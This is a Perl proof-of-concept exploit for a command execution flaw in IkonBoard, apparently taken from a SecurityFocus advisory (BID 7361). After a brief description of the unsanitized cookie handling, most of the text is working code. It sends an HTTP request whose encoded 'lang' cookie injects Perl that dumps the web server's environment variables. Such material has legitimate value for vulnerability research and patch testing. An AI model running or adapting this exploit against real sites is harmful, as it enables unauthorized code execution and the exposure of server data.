32 lines
No EOL
979 B
Perl
Executable file
32 lines
No EOL
979 B
Perl
Executable file
source: http://www.securityfocus.com/bid/7361/info
|
|
|
|
It has been reported that IkonBoard is prone to an arbitrary command execution vulnerability. The vulnerability is due to insufficient sanitization performed on user supplied cookie data.
|
|
|
|
An attacker may exploit this issue to execute arbitrary commands in the security context of the web server hosting the vulnerable IkonBoard.
|
|
|
|
#!/usr/bin/perl -w
|
|
use strict;
|
|
|
|
my $HOST = 'www.example.com';
|
|
my $PORT = 80;
|
|
my $PATH = '/cgi-bin/ikonboard.cgi';
|
|
my $HEAD = qq|"Content-type: text/plain\r\n\r\n"|;
|
|
|
|
use IO::Socket;
|
|
|
|
my $sock = IO::Socket::INET->new("$HOST:$PORT") or die "connect: $!";
|
|
|
|
my $val =
|
|
qq|.\0"if print($HEAD,map"\$_ => \$ENV{\$_}\n",keys\%ENV)&&exit;#|;
|
|
|
|
$val =~ s#(\W)# sprintf '%%%.2X', ord $1 #ge;
|
|
|
|
$sock->print(
|
|
"GET $PATH HTTP/1.1\r\n",
|
|
"Host: $HOST\r\n",
|
|
"Cookie: lang=$val\r\n",
|
|
"Connection: close\r\n",
|
|
"\r\n"
|
|
) or die "write: $!";
|
|
|
|
print while <$sock>; |